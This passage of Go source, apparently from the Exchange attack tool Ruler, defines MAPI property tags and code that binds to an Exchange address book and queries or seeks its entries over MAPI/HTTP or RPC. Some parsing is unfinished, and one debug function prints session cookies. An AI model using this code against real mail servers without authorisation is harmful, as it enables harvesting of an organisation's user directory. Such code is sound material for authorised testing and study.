531 | var Unspecifiedproperty = PropertyTag{PtypInteger32, 0x5FDE}
532 |
533 | //PidTagRecipientOrder used in recepient
534 | var PidTagRecipientOrder = PropertyTag{PtypInteger32, 0x5FDF}
535 |
536 | //PidTagRecipientEntryID used in recepient
537 | var PidTagRecipientEntryID = PropertyTag{PtypBinary, 0x5FF7}
538 |
539 | //PidTagSubjectPrefix used in recepient
540 | var PidTagSubjectPrefix = PropertyTag{PtypString, 0x0003}
541 |
542 | //PidTagNormalizedSubject used in recepient
543 | var PidTagNormalizedSubject = PropertyTag{PtypString, 0x0E1D}
544 |
545 | //PidTagSubject used in recepient
546 | var PidTagSubject = PropertyTag{PtypString, 0x0037}
547 |
548 | //PidTagHidden specify whether folder is hidden
549 | var PidTagHidden = PropertyTag{PtypBoolean, 0x10F4}
550 |
551 | //PidTagInstID identifier for all instances of a row in the table
552 | var PidTagInstID = PropertyTag{PtypInteger64, 0x674D}
553 |
554 | //PidTagInstanceNum identifier for single instance of a row in the table
555 | var PidTagInstanceNum = PropertyTag{PtypInteger32, 0x674E}
556 |
557 | //PidTagMid is the message id of a message in a store
558 | var PidTagMid = PropertyTag{PtypInteger64, 0x674A}
559 |
560 | //PidTagBodyHTML is the message id of a message in a store
561 | var PidTagBodyHTML = PropertyTag{PtypBinary, 0x1013}
562 |
563 | //PidTagHTMLBody is the same as above?
564 | var PidTagHTMLBody = PropertyTag{PtypString, 0x1013}
565 |
566 | var PidTagAttachMethod = PropertyTag{PtypInteger32, 0x3705}
567 |
568 | var PidTagRenderingPosition = PropertyTag{PtypInteger32, 0x370B}
569 |
570 | var PidTagAttachContentId = PropertyTag{PtypString, 0x03712}
571 |
572 | var PidTagAttachMimeTag = PropertyTag{PtypString, 0x370E}
573 |
574 | var PidTagAttachmentLinkId = PropertyTag{PtypInteger32, 0x7FFA}
575 |
576 | var PidTagAttachFlags = PropertyTag{PtypInteger32, 0x3714}
577 |
578 | var PidTagAttachmentHidden = PropertyTag{PtypBoolean, 0x7FFE}
579 |
580 | var PidTagAttachLongFilename = PropertyTag{PtypString, 0x3707}
581 |
582 | var PidTagAttachFilename = PropertyTag{PtypString, 0x3704}
583 |
584 | var PidTagAttachExtension = PropertyTag{PtypString, 0x3703}
585 |
586 | var PidTagMessageAttachments = PropertyTag{PtypObject, 0x0E13}
587 |
588 | var PidTagAttachPathName = PropertyTag{PtypString, 0x3708}
589 | var PidTagAttachLongPathName = PropertyTag{PtypString, 0x370D}
590 | var PidTagAttachPayloadProviderGuidString = PropertyTag{PtypString, 0x3719}
591 | var PidTagTrustSender = PropertyTag{PtypInteger32, 0x0E79}
592 | var PidTagAttachDataBinary = PropertyTag{PtypBinary, 0x3701}
593 |
594 | var PidTagIconIndex = PropertyTag{PtypInteger32, 0x1080}
595 | var PidTagMessageEditorFormat = PropertyTag{PtypInteger32, 0x5909}
596 | var PidTagSenderEmailAddress = PropertyTag{PtypString, 0x0C1F}
597 | var PidTagDeleteAfterSubmit = PropertyTag{PtypBoolean, 0x0E01}
598 | var PidTagOfflineAddressBookName = PropertyTag{PtypString, 0x6800}
599 | var PidTagOfflineAddressBookTruncatedProps = PropertyTag{PtypMultipleInteger32, 0x6805}
600 | var PidTagOfflineAddressBookLangID = PropertyTag{PtypInteger32, 0x6807}
601 | var PidTagOfflineAddressBookFileType = PropertyTag{PtypBoolean, 0x6808}
602 | var PidTagSendOutlookRecallReport = PropertyTag{PtypBoolean, 0x6803}
603 | var PidTagOABCompressedSize = PropertyTag{PtypGUID, 0x6809}
604 | var PidTagOABDN = PropertyTag{PtypGUID, 0x6804}
605 |
606 | var PidTag6830 = PropertyTag{PtypString8, 0x6830}
607 | var PidTag682C = PropertyTag{PtypMultipleInteger64, 0x682C}
608 | var PidTag6831 = PropertyTag{PtypBinary, 0x6831}
609 | var PidTag6832 = PropertyTag{PtypBinary, 0x6832}
610 | var PidTag6823 = PropertyTag{PtypBinary, 0x6823}
611 | var PidTag6824 = PropertyTag{PtypBinary, 0x6824}
612 | var PidTag6827 = PropertyTag{PtypString8, 0x6827}
613 | var PidTag6B00 = PropertyTag{PtypString8, 0x6B00}
614 | var PidTag6902 = PropertyTag{0x001E, 0x6902}
615 | var PidTag6900 = PropertyTag{0x0003, 0x6900}
616 | var PidTagComment = PropertyTag{PtypString, 0x3004}
617 |
618 | var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19}
619 | var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF}
620 | var PidTagPurportedSenderDomain = PropertyTag{PtypString, 0x4083}
621 | var PidTagBodyContentLocation = PropertyTag{PtypString, 0x1014}
622 |
623 | var PidTagClientInfo = PropertyTag{PtypString, 0x80C7}
624 |
625 | var PidTagVoiceMessageAttachmentOrder = PropertyTag{PtypString, 0x6805}
626 | var PidTagVoiceMessageDuration = PropertyTag{PtypInteger32, 0x6801}
627 | var PidTagVoiceMessageSenderName = PropertyTag{PtypString, 0x6803}
628 |
629 | var PidTagRoamingDatatypes = PropertyTag{PtypInteger32, 0x7C06}
630 | var PidTagRoamingDictionary = PropertyTag{PtypBinary, 0x7C07}
631 | var PidTagRoamingXmlStream = PropertyTag{PtypBinary, 0x7C08}
632 |
633 | var PidTagSearchAllIndexedProps = PropertyTag{PtypString, 0x0EAF}
--------------------------------------------------------------------------------
/mapi/datastructs-abk.go:
--------------------------------------------------------------------------------
1 | package mapi
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/sensepost/ruler/utils"
7 | )
8 |
9 | //BindRequest struct used in bind request to bind to addressbook
10 | type BindRequest struct {
11 | Flags uint32
12 | HasState byte
13 | State []byte //optional 36 bytes
14 | AuxiliaryBufferSize uint32
15 | AuxiliaryBuffer []byte
16 | }
17 |
18 | //BindRequestRPC the bind request used for abk
19 | type BindRequestRPC struct {
20 | Flags uint32
21 | State []byte //optional 36 bytes
22 | ServerGUID []byte
23 | }
24 |
25 | //BindResponse struct
26 | type BindResponse struct {
27 | StatusCode uint32
28 | ErrorCode uint32
29 | ServerGUID []byte
30 | AuxiliaryBufferSize uint32
31 | AuxiliaryBuffer []byte
32 | }
33 |
34 | //GetSpecialTableRequest struct used to get list of addressbooks
35 | type GetSpecialTableRequest struct {
36 | Flags uint32
37 | HasState byte
38 | State []byte //optional 36 bytes
39 | HasVersion byte
40 | Version uint32 //optional if HasVersion
41 | AuxiliaryBufferSize uint32
42 | AuxiliaryBuffer []byte
43 | }
44 |
45 | //GetSpecialTableResponse struct
46 | type GetSpecialTableResponse struct {
47 | StatusCode uint32
48 | ErrorCode uint32
49 | CodePage uint32
50 | HasVersion byte
51 | Version uint32 //if hasversion is set
52 | HasRows byte
53 | RowsCount uint32 //if HasRows is set
54 | Rows []AddressBookPropertyValueList
55 | AuxiliaryBufferSize uint32
56 | AuxiliaryBuffer []byte
57 | }
58 |
59 | //DnToMinIDRequest struct used to get list of addressbooks
60 | type DnToMinIDRequest struct {
61 | Reserved uint32
62 | HasNames byte
63 | NameCount uint32
64 | NameValues []byte
65 | AuxiliaryBufferSize uint32
66 | AuxiliaryBuffer []byte
67 | }
68 |
69 | //DnToMinIDResponse struct
70 | type DnToMinIDResponse struct {
71 | StatusCode uint32
72 | ErrorCode uint32
73 | HasMinimalIds byte
74 | MinimalIDCount uint32 //if hasversion is set
75 | MinimalIds []byte
76 | AuxiliaryBufferSize uint32
77 | AuxiliaryBuffer []byte
78 | }
79 |
80 | //QueryRowsRequest struct used to get list of addressbooks
81 | type QueryRowsRequest struct {
82 | Flags uint32
83 | HasState byte
84 | State []byte //36 bytes if hasstate
85 | ExplicitTableCount uint32
86 | ExplicitTable []byte //array of MinimalEntryID
87 | RowCount uint32
88 | HasColumns byte
89 | Columns LargePropertyTagArray //array of LargePropertyTagArray if hascolumns is set
90 | AuxiliaryBufferSize uint32
91 | AuxiliaryBuffer []byte
92 | }
93 |
94 | //QueryRowsResponse struct
95 | type QueryRowsResponse struct {
96 | StatusCode uint32
97 | ErrorCode uint32
98 | HasState byte
99 | State []byte //36 bytes if hasState enabled
100 | HasColsAndRows byte
101 | Columns LargePropertyTagArray //array of LargePropertyTagArray //set if HasColsAndRows is set
102 | RowCount uint32 //if HasColsAndRows is non-zero
103 | RowData []AddressBookPropertyRow
104 | AuxiliaryBufferSize uint32
105 | AuxiliaryBuffer []byte
106 | }
107 |
108 | //SeekEntriesRequest struct used to get list of addressbooks
109 | type SeekEntriesRequest struct {
110 | Reserved uint32 //0x000000000
111 | HasState byte
112 | State []byte //36 bytes if hasstate
113 | HasTarget byte
114 | Target AddressBookTaggedPropertyValue
115 | HasExplicitTable byte
116 | ExplicitTableCount []byte //optional uint32
117 | ExplicitTable []byte //array of MinimalEntryID
118 | HasColumns byte
119 | Columns LargePropertyTagArray //array of LargePropertyTagArray if hascolumns is set
120 | AuxiliaryBufferSize uint32
121 | AuxiliaryBuffer []byte
122 | }
123 |
124 | //SeekEntriesResponse struct
125 | type SeekEntriesResponse struct {
126 | StatusCode uint32
127 | ErrorCode uint32
128 | HasState byte
129 | State []byte //36 bytes if hasState enabled
130 | HasColsAndRows byte
131 | Columns LargePropertyTagArray //array of LargePropertyTagArray //set if HasColsAndRows is set
132 | RowCount uint32 //if HasColsAndRows is non-zero
133 | RowData []AddressBookPropertyRow
134 | AuxiliaryBufferSize uint32
135 | AuxiliaryBuffer []byte
136 | }
137 |
138 | //AddressBookPropertyValueList used to list addressbook
139 | type AddressBookPropertyValueList struct {
140 | PropertyValueCount uint32
141 | PropertyValues []AddressBookTaggedPropertyValue
142 | }
143 |
144 | //AddressBookTaggedPropertyValue used to hold a value for an Addressbook entry
145 | type AddressBookTaggedPropertyValue struct {
146 | PropertyType uint16
147 | PropertyID uint16
148 | PropertyValue []byte
149 | }
150 |
151 | //AddressBookPropertyRow struct to hold addressbook entries
152 | type AddressBookPropertyRow struct {
153 | Flags uint8 //if 0x0 -- ValueArray = type(AddressBookPropertyValue)
154 | //if 0x1 ValueArray = type(AddressBookFlaggedPropertyValueWithType)
155 | AddressBookPropertyValue []AddressBookPropertyValue
156 | //AddressBookFlaggedPropertyValueWithType []AddressBookFlaggedPropertyValueWithType
157 | }
158 |
159 | //LargePropertyTagArray contains a list of propertytags
160 | type LargePropertyTagArray struct {
161 | PropertyTagCount uint32
162 | PropertyTags []PropertyTag
163 | }
164 |
165 | //AddressBookPropertyValue holds an addressbook value
166 | type AddressBookPropertyValue struct {
167 | Value []byte
168 | }
169 |
170 | //STAT holds the state of the NSPI table
171 | type STAT struct {
172 | SortType uint32
173 | ContainerID uint32
174 | CurrentRec uint32
175 | Delta uint32
176 | NumPos uint32
177 | TotalRecs uint32
178 | CodePage uint32
179 | TemplateLocale uint32
180 | SortLocale uint32
181 | }
182 |
183 | //Marshal turn BindRequest into Bytes
184 | func (bindRequest BindRequest) Marshal() []byte {
185 | return utils.BodyToBytes(bindRequest)
186 | }
187 |
188 | //Marshal turn BindRequestRPC into Bytes
189 | func (bindRequest BindRequestRPC) Marshal() []byte {
190 | return utils.BodyToBytes(bindRequest)
191 | }
192 |
193 | //Marshal turn GetSpecialTableRequest into Bytes
194 | func (specialTableRequest GetSpecialTableRequest) Marshal() []byte {
195 | return utils.BodyToBytes(specialTableRequest)
196 | }
197 |
198 | //Marshal turn DnToMinIDRequest into Bytes
199 | func (dntominid DnToMinIDRequest) Marshal() []byte {
200 | return utils.BodyToBytes(dntominid)
201 | }
202 |
203 | //Marshal turn QueryRowsRequest into Bytes
204 | func (qrows QueryRowsRequest) Marshal() []byte {
205 | return utils.BodyToBytes(qrows)
206 | }
207 |
208 | //Marshal turn SeekEntriesRequest into Bytes
209 | func (qrows SeekEntriesRequest) Marshal() []byte {
210 | return utils.BodyToBytes(qrows)
211 | }
212 |
213 | //Marshal turn AddressBookPropertyValue into Bytes
214 | func (abpv AddressBookPropertyValue) Marshal() []byte {
215 | return utils.BodyToBytes(abpv)
216 | }
217 |
218 | //Marshal turn STAT struct into Bytes
219 | func (stat STAT) Marshal() []byte {
220 | return utils.BodyToBytes(stat)
221 | }
222 |
223 | //Unmarshal func
224 | func (abt *AddressBookPropertyValueList) Unmarshal(resp []byte) (int, error) {
225 | pos := 0
226 | abt.PropertyValueCount, pos = utils.ReadUint32(pos, resp)
227 | abt.PropertyValues = make([]AddressBookTaggedPropertyValue, int(abt.PropertyValueCount))
228 |
229 | for k := 0; k < len(abt.PropertyValues); k++ {
230 | abt.PropertyValues[k] = AddressBookTaggedPropertyValue{}
231 | p, _ := abt.PropertyValues[k].Unmarshal(resp[pos:])
232 | pos += p
233 | }
234 | return pos, nil
235 | }
236 |
237 | //Unmarshal func
238 | func (lpta *LargePropertyTagArray) Unmarshal(resp []byte) (int, error) {
239 | pos := 0
240 | lpta.PropertyTagCount, pos = utils.ReadUint32(pos, resp)
241 | lpta.PropertyTags = make([]PropertyTag, int(lpta.PropertyTagCount))
242 |
243 | for k := 0; k < len(lpta.PropertyTags); k++ {
244 | lpta.PropertyTags[k] = PropertyTag{}
245 | p, _ := lpta.PropertyTags[k].Unmarshal(resp[pos:])
246 | pos += p
247 | }
248 | return pos, nil
249 | }
250 |
251 | //Unmarshal func
252 | func (abpr *AddressBookPropertyRow) Unmarshal(resp []byte, columns LargePropertyTagArray) (int, error) {
253 | pos := 0
254 | abpr.Flags, pos = utils.ReadByte(pos, resp)
255 |
256 | if abpr.Flags == 0x0 { //AddressBookPropertyValue
257 | abpr.AddressBookPropertyValue = make([]AddressBookPropertyValue, int(columns.PropertyTagCount))
258 |
259 | for k := 0; k < int(columns.PropertyTagCount); k++ {
260 | propType := columns.PropertyTags[k].PropertyType
261 | abpv, p := ReadPropertyValue(resp[pos:], propType)
262 | abpr.AddressBookPropertyValue[k].Value = abpv
263 | pos += p
264 | }
265 |
266 | } else if abpr.Flags == 0x1 { //AddressBookFlaggedPropertyValue
267 | //abpv := []AddressBookFlaggedPropertyValue{}
268 |
269 | //abpr.ValueArray = []byte{}
270 | }
271 |
272 | return pos, nil
273 | }
274 |
275 | //ReadPropertyValue v
276 | func ReadPropertyValue(resp []byte, propType uint16) ([]byte, int) {
277 | pos := 0
278 | var propertyValue []byte
279 | if propType == PtypInteger32 {
280 | propertyValue, pos = utils.ReadBytes(pos, 4, resp)
281 | } else if propType == PtypInteger64 {
282 | propertyValue, pos = utils.ReadBytes(pos, 8, resp)
283 | } else if propType == PtypString {
284 | t, p := utils.ReadByte(pos, resp) // check HasValue
285 | pos = p
286 | if t == 0xFF { // check if hasValue
287 | propertyValue, pos = utils.ReadUnicodeString(pos, resp)
288 | pos++
289 | }
290 | } else if propType == PtypBoolean {
291 | propertyValue, pos = utils.ReadBytes(pos, 1, resp)
292 | } else if propType == PtypBinary {
293 | t, p := utils.ReadByte(pos, resp) // check HasValue
294 | pos = p
295 | if t == 0xFF {
296 | cnt, p := utils.ReadUint32(pos, resp) // check cnt
297 | pos = p
298 | propertyValue, pos = utils.ReadBytes(pos, int(cnt), resp)
299 |
300 | }
301 | }
302 | return propertyValue, pos
303 | }
304 |
305 | //Unmarshal func for the AddressBookTaggedPropertyValue structure
306 | func (abt *AddressBookTaggedPropertyValue) Unmarshal(resp []byte) (int, error) {
307 | pos, p := 0, 0
308 | abt.PropertyType, pos = utils.ReadUint16(pos, resp)
309 | abt.PropertyID, pos = utils.ReadUint16(pos, resp)
310 | abt.PropertyValue, p = ReadPropertyValue(resp[pos:], abt.PropertyType)
311 | pos += p
312 | return pos, nil
313 | }
314 |
315 | //Unmarshal func
316 | func (bindResponse *BindResponse) Unmarshal(resp []byte) (int, error) {
317 | pos := 0
318 | bindResponse.StatusCode, pos = utils.ReadUint32(pos, resp)
319 | bindResponse.ErrorCode, pos = utils.ReadUint32(pos, resp)
320 | if bindResponse.ErrorCode != 0 {
321 | return pos, fmt.Errorf("Non-zero return value %d", bindResponse.ErrorCode)
322 | }
323 | bindResponse.ServerGUID, pos = utils.ReadBytes(pos, 16, resp)
324 | bindResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp)
325 | if bindResponse.AuxiliaryBufferSize != 0 {
326 | bindResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(bindResponse.AuxiliaryBufferSize), resp)
327 | }
328 | return pos, nil
329 | }
330 |
331 | //Unmarshal func
332 | func (gstResponse *GetSpecialTableResponse) Unmarshal(resp []byte) (int, error) {
333 | pos := 0
334 | gstResponse.StatusCode, pos = utils.ReadUint32(pos, resp)
335 | gstResponse.ErrorCode, pos = utils.ReadUint32(pos, resp)
336 | if gstResponse.ErrorCode != 0 {
337 | return pos, fmt.Errorf("Non-zero return value %d", gstResponse.ErrorCode)
338 | }
339 | gstResponse.CodePage, pos = utils.ReadUint32(pos, resp)
340 | gstResponse.HasVersion, pos = utils.ReadByte(pos, resp)
341 | if gstResponse.HasVersion == 0xFF {
342 | gstResponse.Version, pos = utils.ReadUint32(pos, resp)
343 | }
344 | gstResponse.HasRows, pos = utils.ReadByte(pos, resp)
345 | if gstResponse.HasRows == 0xFF {
346 | gstResponse.RowsCount, pos = utils.ReadUint32(pos, resp)
347 | fmt.Println(gstResponse.RowsCount)
348 | gstResponse.Rows = make([]AddressBookPropertyValueList, gstResponse.RowsCount)
349 | for k := 0; k < int(gstResponse.RowsCount); k++ {
350 | gstResponse.Rows[k] = AddressBookPropertyValueList{}
351 | p, _ := gstResponse.Rows[k].Unmarshal(resp[pos:])
352 | pos += p
353 | }
354 | }
355 | gstResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp)
356 | if gstResponse.AuxiliaryBufferSize != 0 {
357 | gstResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(gstResponse.AuxiliaryBufferSize), resp)
358 | }
359 | return pos, nil
360 | }
361 |
362 | //Unmarshal func
363 | func (dnResponse *DnToMinIDResponse) Unmarshal(resp []byte) (int, error) {
364 | pos := 0
365 | dnResponse.StatusCode, pos = utils.ReadUint32(pos, resp)
366 | dnResponse.ErrorCode, pos = utils.ReadUint32(pos, resp)
367 | if dnResponse.ErrorCode != 0 {
368 | return pos, fmt.Errorf("Non-zero return value %d", dnResponse.ErrorCode)
369 | }
370 | if dnResponse.HasMinimalIds == 0xFF {
371 | dnResponse.MinimalIDCount, pos = utils.ReadUint32(pos, resp)
372 | //dnResponse.MinimalIds, pos = utils.Read
373 | }
374 | dnResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp)
375 | if dnResponse.AuxiliaryBufferSize != 0 {
376 | dnResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(dnResponse.AuxiliaryBufferSize), resp)
377 | }
378 | return pos, nil
379 | }
380 |
381 | //Unmarshal func
382 | func (qrResponse *QueryRowsResponse) Unmarshal(resp []byte) (int, error) {
383 | pos := 0
384 | qrResponse.StatusCode, pos = utils.ReadUint32(pos, resp)
385 | qrResponse.ErrorCode, pos = utils.ReadUint32(pos, resp)
386 | if qrResponse.ErrorCode != 0 {
387 | return pos, fmt.Errorf("Non-zero return value %d", qrResponse.ErrorCode)
388 | }
389 | qrResponse.HasState, pos = utils.ReadByte(pos, resp)
390 | if qrResponse.HasState == 0xFF {
391 | qrResponse.State, pos = utils.ReadBytes(pos, 36, resp)
392 | }
393 | qrResponse.HasColsAndRows, pos = utils.ReadByte(pos, resp)
394 | if qrResponse.HasColsAndRows == 0xFF {
395 | columns := LargePropertyTagArray{}
396 | p, _ := columns.Unmarshal(resp[pos:])
397 | pos += p
398 | qrResponse.Columns = columns
399 | qrResponse.RowCount, pos = utils.ReadUint32(pos, resp)
400 | qrResponse.RowData = make([]AddressBookPropertyRow, int(qrResponse.RowCount))
401 | for k := 0; k < int(qrResponse.RowCount); k++ {
402 | qrResponse.RowData[k] = AddressBookPropertyRow{}
403 | p, _ := qrResponse.RowData[k].Unmarshal(resp[pos:], columns)
404 | pos += p
405 | }
406 | }
407 | qrResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp)
408 | if qrResponse.AuxiliaryBufferSize != 0 {
409 | //qrResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(qrResponse.AuxiliaryBufferSize), resp)
410 | }
411 | return pos, nil
412 | }
413 |
414 | //Unmarshal func
415 | func (stat *STAT) Unmarshal(resp []byte) (int, error) {
416 | pos := 0
417 | stat.SortType, pos = utils.ReadUint32(pos, resp)
418 | stat.ContainerID, pos = utils.ReadUint32(pos, resp)
419 | stat.CurrentRec, pos = utils.ReadUint32(pos, resp)
420 | stat.Delta, pos = utils.ReadUint32(pos, resp)
421 | stat.NumPos, pos = utils.ReadUint32(pos, resp)
422 | stat.TotalRecs, pos = utils.ReadUint32(pos, resp)
423 | stat.CodePage, pos = utils.ReadUint32(pos, resp)
424 | stat.TemplateLocale, pos = utils.ReadUint32(pos, resp)
425 | stat.SortLocale, pos = utils.ReadUint32(pos, resp)
426 |
427 | return pos, nil
428 | }
429 |
--------------------------------------------------------------------------------
/mapi/mapi-abk.go:
--------------------------------------------------------------------------------
1 | package mapi
2 |
3 | import (
4 | "fmt"
5 |
6 | rpchttp "github.com/sensepost/ruler/rpc-http"
7 | "github.com/sensepost/ruler/utils"
8 | )
9 |
10 | func sendAddressBookRequest(mapiType string, mapi []byte) ([]byte, error) {
11 | if AuthSession.Transport == HTTP {
12 | return mapiRequestHTTP(AuthSession.ABKURL.String(), mapiType, mapi)
13 | }
14 |
15 | //return rpchttp.EcDoRPCExt2(mapi, 0)
16 | return rpchttp.EcDoRPCAbk(mapi, 0)
17 | //return nil, nil
18 | }
19 |
20 | //ExtractMapiAddressBookURL extract the External mapi url from the autodiscover response
21 | func ExtractMapiAddressBookURL(resp *utils.AutodiscoverResp) string {
22 | for _, v := range resp.Response.Account.Protocol {
23 | if v.TypeAttr == "mapiHttp" {
24 | return v.AddressBook.ExternalUrl
25 | }
26 | }
27 | return ""
28 | }
29 |
30 | //BindAddressBook function to bind to the AddressBook provider
31 | func BindAddressBook() (*BindResponse, error) {
32 |
33 | bindReq := BindRequest{}
34 | bindReq.Flags = 0x00
35 | bindReq.HasState = 0xFF
36 | bindReq.State = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0xFFFFFFFF, 1252, 1033, 2057}.Marshal()
37 | bindReq.AuxiliaryBufferSize = 0x00
38 |
39 | responseBody, err := sendAddressBookRequest("BIND", bindReq.Marshal())
40 |
41 | if err != nil {
42 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err)
43 | }
44 |
45 | bindResp := BindResponse{}
46 | _, err = bindResp.Unmarshal(responseBody)
47 | if err != nil {
48 | return nil, err
49 | }
50 | return &bindResp, nil
51 |
52 | //return nil, fmt.Errorf("unexpected error occurred")
53 | }
54 |
55 | //BindAddressBookRPC function to bind to the AddressBook provider
56 | func BindAddressBookRPC() (*BindResponse, error) {
57 |
58 | bindReq := BindRequestRPC{}
59 | bindReq.Flags = 0x00
60 | bindReq.State = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0xFFFFFFFF, 1252, 1033, 2057}.Marshal()
61 | bindReq.ServerGUID = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x01, 0x30, 0x1f, 0x00, 0x17, 0x3a, 0x1f, 0x00, 0x08, 0x3a, 0x1f, 0x00, 0x19, 0x3a, 0x1f, 0x00, 0x18, 0x3a, 0x1f, 0x00, 0xfe, 0x39, 0x1f, 0x00, 0x16, 0x3a, 0x1f, 0x00, 0x00, 0x3a, 0x1f, 0x00, 0x02, 0x30, 0x02, 0x01, 0xff, 0x0f, 0x03, 0x00, 0xfe, 0x0f, 0x03, 0x00, 0x00, 0x39, 0x03, 0x00, 0x05, 0x39}
62 |
63 | data := bindReq.Marshal()
64 | responseBody, err := rpchttp.EcDoRPCAbk(data, len(bindReq.ServerGUID)-10)
65 |
66 | if err != nil {
67 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err)
68 | }
69 |
70 | bindResp := BindResponse{}
71 | _, err = bindResp.Unmarshal(responseBody)
72 | if err != nil {
73 | return nil, err
74 | }
75 | return &bindResp, nil
76 |
77 | //return nil, fmt.Errorf("unexpected error occurred")
78 | }
79 |
80 | //GetSpecialTable function to get special table from addressbook provider
81 | func GetSpecialTable() (*GetSpecialTableResponse, error) {
82 |
83 | gstReq := GetSpecialTableRequest{}
84 | gstReq.Flags = 0x00000004
85 | gstReq.HasState = 0xFF
86 | gstReq.State = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 1252, 1033, 2057}.Marshal()
87 | gstReq.HasVersion = 0xFF
88 | gstReq.Version = 0x00
89 | gstReq.AuxiliaryBufferSize = 0x00
90 |
91 | responseBody, err := sendAddressBookRequest("GetSpecialTable", gstReq.Marshal())
92 |
93 | if err != nil {
94 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err)
95 | }
96 | gstResp := GetSpecialTableResponse{}
97 | _, err = gstResp.Unmarshal(responseBody)
98 | if err != nil {
99 | return nil, err
100 | }
101 | return &gstResp, nil
102 |
103 | }
104 |
105 | //DnToMinID function to map DNs to a set of Minimal Entry IDs
106 | func DnToMinID() (*DnToMinIDResponse, error) {
107 | //byte[] arrOutput = { 0x2F, 0x4F, 0x3D, 0x45, 0x56, 0x49, 0x4C, 0x43, 0x4F, 0x52, 0x50, 0x00};
108 | dntominid := DnToMinIDRequest{}
109 | dntominid.Reserved = 0x00
110 | dntominid.HasNames = 0xFF
111 | dntominid.NameCount = 1
112 | dntominid.NameValues = []byte{0x2F, 0x4F, 0x3D, 0x45, 0x56, 0x49, 0x4C, 0x43, 0x4F, 0x52, 0x50, 0x00}
113 |
114 | responseBody, err := sendAddressBookRequest("DNToMId", dntominid.Marshal())
115 |
116 | if err != nil {
117 | fmt.Println(err)
118 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err)
119 | }
120 | gstResp := DnToMinIDResponse{}
121 | _, err = gstResp.Unmarshal(responseBody)
122 | if err != nil {
123 | return nil, err
124 | }
125 | return &gstResp, nil
126 |
127 | }
128 |
129 | //GetProps function to get specific properties on an object
130 | func GetProps() {
131 | isAuthenticated() //check if we actually have a session
132 |
133 | resp, _ := sendAddressBookRequest("GetProps", []byte{})
134 | fmt.Println(resp)
135 | //fmt.Println(string(rbody))
136 | fmt.Println(AuthSession.CookieJar)
137 |
138 | }
139 |
140 | //QueryRows function gets number of rows from the specified explicit table
141 | func QueryRows(rowCount int, state []byte, columns []PropertyTag) (*QueryRowsResponse, error) {
142 |
143 | qRows := QueryRowsRequest{}
144 | qRows.Flags = 0x00
145 | qRows.HasState = 0xFF
146 | if len(state) == 0 {
147 | state = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 1252, 1033, 2057}.Marshal()
148 | }
149 | qRows.State = state //
150 | qRows.ExplicitTableCount = 0x00
151 | qRows.RowCount = uint32(rowCount)
152 | qRows.HasColumns = 0xFF
153 |
154 | qRows.Columns = LargePropertyTagArray{}
155 | qRows.Columns.PropertyTagCount = uint32(len(columns))
156 | qRows.Columns.PropertyTags = columns //
157 |
158 | qRows.AuxiliaryBufferSize = 0x00
159 |
160 | responseBody, err := sendAddressBookRequest("QueryRows", qRows.Marshal())
161 |
162 | if err != nil {
163 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err)
164 | }
165 | qrResp := QueryRowsResponse{}
166 | _, err = qrResp.Unmarshal(responseBody)
167 | if err != nil {
168 | return nil, err
169 | }
170 | return &qrResp, nil
171 |
172 | }
173 |
174 | //SeekEntries function moves the pointer to a new position in the addressbook
175 | func SeekEntries(entryStart []byte, columns []PropertyTag) (*QueryRowsResponse, error) {
176 |
177 | qRows := SeekEntriesRequest{}
178 | qRows.HasState = 0xFF
179 | qRows.State = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x04, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, 0x09, 0x08, 0x00, 0x00}
180 | //qRows.HasTarget = 0xFF
181 | val := []byte{0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x0, 0x0, 0x0, 0x08, 0x0, 0x0, 0x0}
182 | val = append(val, entryStart...)
183 | qRows.Target = AddressBookTaggedPropertyValue{PropertyType: 0x001F, PropertyID: 0x3001, PropertyValue: val}
184 | qRows.HasExplicitTable = 0x00
185 | //qRows.ExplicitTableCount = 0x00
186 | qRows.HasColumns = 0xFF
187 |
188 | qRows.Columns = LargePropertyTagArray{}
189 | qRows.Columns.PropertyTagCount = uint32(len(columns))
190 | qRows.Columns.PropertyTags = columns //
191 |
192 | qRows.AuxiliaryBufferSize = 0x00
193 |
194 | responseBody, err := sendAddressBookRequest("SeekEntries", qRows.Marshal())
195 |
196 | if err != nil {
197 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err)
198 | }
199 | qrResp := QueryRowsResponse{}
200 | _, err = qrResp.Unmarshal(responseBody)
201 | if err != nil {
202 | return nil, err
203 | }
204 | return &qrResp, nil
205 |
206 | }
207 |
--------------------------------------------------------------------------------
/mapi/restrictionDatastructs.go:
--------------------------------------------------------------------------------
1 | package mapi
2 |
3 | import "github.com/sensepost/ruler/utils"
4 |
5 | //Contains the datastructs used to form restrictions
6 |
